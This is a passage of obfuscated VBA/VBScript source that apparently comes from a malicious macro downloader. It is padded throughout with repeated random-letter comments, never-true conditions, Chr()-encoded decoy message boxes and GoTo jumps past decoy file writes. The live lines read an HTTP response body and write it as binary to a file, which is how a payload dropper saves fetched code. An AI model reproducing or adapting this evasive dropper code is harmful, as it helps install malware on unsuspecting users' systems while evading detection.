'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(99) & Chr(100) & Chr(100) & Chr(118) & Chr(100) & Chr(116) & Chr(113) & Chr(102) & Chr(52) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(102) & Chr(120) & Chr(102) & Chr(121) & Chr(102) & Chr(102) & Chr(97) & Chr(120) & Chr(49) & Chr(55) & Chr(52) & Chr(50)) = Len(Chr(103) & Chr(97) & Chr(107) & Chr(108) & Chr(120) & Chr(115) & Chr(110) & Chr(122)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf zgksahqs: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 936638 = 936638 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1898 < 36 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(113) & Chr(101) & Chr(103) & Chr(103) & Chr(119) & Chr(121) & Chr(114) & Chr(103) & Chr(52) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(108) & Chr(108) & Chr(108) & Chr(102) & Chr(114) & Chr(98) & Chr(110) & Chr(117) & Chr(52) & Chr(49) & Chr(54) & Chr(50)) = Len(Chr(102) & Chr(115) & Chr(107) & Chr(108) & Chr(99) & Chr(114) & Chr(102) & Chr(109)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Loop 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo jtmeizts 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim wnzcwxxr As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(70) & Chr(86) & Chr(84) & Chr(79) & Chr(74) & Chr(79) & Chr(46) & Chr(68) & Chr(88) & Chr(84) For Binary As 44 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 712944 = 712944 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7937 < 45 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(117) & Chr(114) & Chr(97) & Chr(107) & Chr(110) & Chr(116) & Chr(102) & Chr(107) & Chr(56) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(116) & Chr(118) & Chr(117) & Chr(117) & Chr(104) & Chr(117) & Chr(103) & Chr(108) & Chr(56) & Chr(55) & Chr(55) & Chr(55)) = Len(Chr(121) & Chr(122) & Chr(112) & Chr(119) & Chr(98) & Chr(121) & Chr(103) & Chr(110)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #44, , wnzcwxxr 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 592286 = 592286 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8977 < 84 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(97) & Chr(115) & Chr(101) & Chr(112) & Chr(97) & Chr(115) & Chr(102) & Chr(101) & Chr(57) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(119) & Chr(117) & Chr(99) & Chr(108) & Chr(117) & Chr(108) & Chr(100) & Chr(112) & Chr(57) & Chr(56) & Chr(50) & Chr(55)) = Len(Chr(101) & Chr(119) & Chr(121) & Chr(103) & Chr(101) & Chr(112) & Chr(118) & Chr(111)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #44 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 937156 = 937156 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3971 < 85 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(103) & Chr(102) & Chr(114) & Chr(108) & Chr(118) & Chr(114) & Chr(115) & Chr(112) & Chr(57) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(116) & Chr(118) & Chr(114) & Chr(97) & Chr(98) & Chr(102) & Chr(101) & Chr(107) & Chr(54) & Chr(50) & Chr(52) & Chr(52)) = Len(Chr(117) & Chr(122) & Chr(105) & Chr(103) & Chr(105) & Chr(115) & Chr(97) & Chr(98)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf jtmeizts: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 458971 = 458971 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7545 < 78 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(99) & Chr(115) & Chr(111) & Chr(99) & Chr(97) & Chr(118) & Chr(104) & Chr(106) & Chr(57) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(116) & Chr(122) & Chr(100) & Chr(119) & Chr(112) & Chr(106) & Chr(115) & Chr(111) & Chr(56) & Chr(51) & Chr(56) & Chr(53)) = Len(Chr(98) & Chr(119) & Chr(113) & Chr(97) & Chr(114) & Chr(99) & Chr(118) & Chr(99)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf wvavhsolbur = ocpvmgeelcx.responsebody 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo fwrjwysy 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim lhsqoaec As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(83) & Chr(89) & Chr(67) & Chr(72) & Chr(86) & Chr(81) & Chr(46) & Chr(83) & Chr(69) & Chr(67) For Binary As 37 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 111975 = 111975 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8583 < 41 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(118) & Chr(116) & Chr(107) & Chr(100) & Chr(115) & Chr(116) & Chr(103) & Chr(102) & Chr(57) & Chr(51)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(111) & Chr(116) & Chr(102) & Chr(100) & Chr(118) & Chr(119) & Chr(108) & Chr(114) & Chr(50) & Chr(56) & Chr(53) & Chr(54)) = Len(Chr(112) & Chr(105) & Chr(107) & Chr(98) & Chr(121) & Chr(109) & Chr(107) & Chr(112)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #37, , lhsqoaec 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 843886 = 843886 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8971 < 83 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(122) & Chr(115) & Chr(110) & Chr(122) & Chr(109) & Chr(114) & Chr(122) & Chr(108) & Chr(51) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(111) & Chr(97) & Chr(114) & Chr(97) & Chr(101) & Chr(120) & Chr(118) & Chr(113) & Chr(57) & Chr(56) & Chr(50) & Chr(49)) = Len(Chr(114) & Chr(109) & Chr(101) & Chr(121) & Chr(120) & Chr(122) & Chr(113) & Chr(118)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #37 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 576822 = 576822 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8458 < 59 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(108) & Chr(100) & Chr(108) & Chr(117) & Chr(116) & Chr(103) & Chr(102) & Chr(111) & Chr(51) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(112) & Chr(118) & Chr(109) & Chr(103) & Chr(121) & Chr(118) & Chr(101) & Chr(107) & Chr(57) & Chr(51) & Chr(57) & Chr(56)) = Len(Chr(113) & Chr(97) & Chr(118) & Chr(101) & Chr(103) & Chr(99) & Chr(101) & Chr(118)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf fwrjwysy: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 797296 = 797296 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7614 < 93 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(120) & Chr(103) & Chr(120) & Chr(119) & Chr(98) & Chr(97) & Chr(98) & Chr(108) & Chr(50) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(114) & Chr(116) & Chr(98) & Chr(109) & Chr(105) & Chr(108) & Chr(109) & Chr(113) & Chr(49) & Chr(56) & Chr(55) & Chr(55)) = Len(Chr(98) & Chr(118) & Chr(118) & Chr(110) & Chr(122) & Chr(98) & Chr(105) & Chr(98)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf zgbpbucckrp = FreeFile 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open kxqaxtgwbnh For Binary As #zgbpbucckrp 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo qpsicxsw 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim jymepjed As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(75) & Chr(86) & Chr(75) & Chr(85) & Chr(68) & Chr(66) & Chr(46) & Chr(81) & Chr(81) & Chr(70) For Binary As 54 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 719345 = 719345 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7999 < 45 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(117) & Chr(121) & Chr(115) & Chr(105) & Chr(104) & Chr(110) & Chr(112) & Chr(112) & Chr(56) & Chr(55)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(116) & Chr(97) & Chr(107) & Chr(118) & Chr(121) & Chr(122) & Chr(100) & Chr(115) & Chr(56) & Chr(56) & Chr(52) & Chr(49)) = Len(Chr(121) & Chr(116) & Chr(109) & Chr(113) & Chr(102) & Chr(110) & Chr(113) & Chr(107)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #54, , jymepjed 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 485964 = 485964 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7815 < 72 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(109) & Chr(122) & Chr(109) & Chr(110) & Chr(115) & Chr(103) & Chr(121) & Chr(116) & Chr(56) & Chr(50)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(102) & Chr(120) & Chr(103) & Chr(111) & Chr(107) & Chr(119) & Chr(116) & Chr(115) & Chr(56) & Chr(54) & Chr(53) & Chr(53)) = Len(Chr(99) & Chr(112) & Chr(120) & Chr(114) & Chr(102) & Chr(100) & Chr(103) & Chr(115)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #54 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 843857 = 843857 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3129 < 86 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(102) & Chr(108) & Chr(114) & Chr(115) & Chr(116) & Chr(118) & Chr(115) & Chr(108) & Chr(57) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(114) & Chr(114) & Chr(121) & Chr(109) & Chr(117) & Chr(117) & Chr(122) & Chr(122) & Chr(54) & Chr(51) & Chr(56) & Chr(51)) = Len(Chr(121) & Chr(105) & Chr(111) & Chr(117) & Chr(103) & Chr(116) & Chr(97) & Chr(105)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf qpsicxsw: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 197136 = 197136 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3936 < 33 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(122) & Chr(113) & Chr(117) & Chr(101) & Chr(102) & Chr(98) & Chr(116) & Chr(119) & Chr(53) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(111) & Chr(110) & Chr(112) & Chr(122) & Chr(120) & Chr(108) & Chr(110) & Chr(100) & Chr(52) & Chr(56) & Chr(56) & Chr(54)) = Len(Chr(101) & Chr(108) & Chr(105) & Chr(105) & Chr(106) & Chr(99) & Chr(102) & Chr(110)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #zgbpbucckrp, , wvavhsolbur 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo eubugyes 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim oeizanwr As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(70) & Chr(67) & Chr(83) & Chr(85) & Chr(88) & Chr(82) & Chr(46) & Chr(67) & Chr(71) & Chr(80) For Binary As 44 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 322185 = 322185 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 6821 < 24 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(121) & Chr(111) & Chr(97) & Chr(99) & Chr(119) & Chr(107) & Chr(111) & Chr(100) & Chr(49) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(108) & Chr(101) & Chr(114) & Chr(99) & Chr(97) 